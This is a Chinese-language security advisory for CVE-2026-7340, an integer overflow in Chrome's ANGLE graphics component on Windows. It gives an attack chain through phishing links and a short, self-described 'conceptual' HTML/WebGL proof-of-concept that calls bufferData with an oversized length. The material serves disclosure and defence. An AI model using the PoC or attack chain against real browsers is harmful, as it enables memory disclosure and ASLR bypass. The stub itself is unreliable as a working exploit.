IPBUF安全漏洞报告
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CVE-2026-7340 CVSS 4.3 中危

CVE-2026-7340: Google Chrome ANGLE整数溢出漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7340
漏洞类型
整数溢出
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (Windows版)

相关标签

Google Chrome整数溢出内存越界读取ANGLEWebGLCVE-2026-7340

漏洞概述

CVE-2026-7340 是 Google Chrome 浏览器 ANGLE 组件中的安全漏洞,影响 Windows 平台旧版本。该漏洞源于整数溢出,攻击者可诱导用户访问精心构造的 HTML 页面。触发后,攻击者能执行越界内存读取,导致潜在信息泄露。虽然需要用户交互,但仍被定级为中危,建议用户及时更新浏览器以确保安全。

技术细节

该漏洞位于 Google Chrome 的 ANGLE(Almost Native Graphics Layer Engine)组件中。ANGLE 负责 Windows 平台上将 OpenGL ES 命令转换为 DirectX,以实现高性能图形渲染。在 147.0.7727.138 之前的版本中,ANGLE 在处理特定 WebGL 指令或缓冲区操作时,未对输入数值进行严格边界检查,导致整数溢出。攻击者可构造一个包含恶意 WebGL 渲染逻辑的 HTML 页面。当用户访问该页面时,Chrome 试图执行渲染操作,此时恶意的数值输入会导致 ANGLE 内部计算错误,分配错误的内存大小或访问越界地址。尽管此漏洞主要导致越界内存读取(Out-of-Bounds Read),限制了直接控制执行流的能力,但攻击者可利用读取到的内存内容推断浏览器内存布局,从而绕过地址空间布局随机化(ASLR)等安全防御。此漏洞攻击向量为网络,需要用户交互(如点击链接),属于中危风险。

攻击链分析

STEP 1
1. 漏洞利用准备
攻击者分析 Google Chrome ANGLE 组件的源码,发现整数溢出漏洞点,并编写包含恶意 WebGL 代码的 HTML 页面。
STEP 2
2. 社交工程与投递
攻击者通过网络钓鱼邮件、恶意网站或即时通讯工具,诱导受害者点击包含恶意代码的链接。
STEP 3
3. 用户交互
受害者使用存在漏洞的旧版 Chrome 浏览器访问该链接,浏览器开始解析并渲染恶意 HTML 页面。
STEP 4
4. 触发漏洞
页面中的恶意 WebGL 指令触发 ANGLE 组件的整数溢出逻辑,导致浏览器进程执行越界内存读取操作。
STEP 5
5. 信息泄露
攻击者利用读取到的内存数据,可能获取敏感信息或为进一步的漏洞利用(如绕过 ASLR)提供数据支持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-7340 Conceptual PoC demonstrating crafted HTML to trigger ANGLE integer overflow. Note: This is a simplified example for demonstration purposes. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-7340 PoC</title> </head> <body> <script> // Attempt to create a WebGL context which utilizes ANGLE on Windows const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (gl) { console.log("[+] WebGL context created. Targeting ANGLE component..."); try { // Crafted data to trigger integer overflow in buffer size calculation // Specific values would depend on the exact vulnerable code path in ANGLE const largeSize = 0x7FFFFFFF; const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Attempting to buffer data that causes the overflow // This may result in an out-of-bounds read in the underlying implementation gl.bufferData(gl.ARRAY_BUFFER, largeSize, gl.STATIC_DRAW); console.log("[+] Payload sent. Check for crash or memory read behavior."); } catch (e) { console.error("[-] Exception caught:", e); } } else { console.log("[-] WebGL is not supported."); } </script> </body> </html>

影响范围

Google Chrome on Windows < 147.0.7727.138

防御指南

临时缓解措施
在无法立即更新浏览器的情况下,用户应提高警惕,不要随意点击陌生链接或下载可疑文件。企业网管可部署网络代理过滤已知恶意特征,或限制浏览器对 WebGL 的访问权限(通过组策略),以降低被攻击的风险。

参考链接

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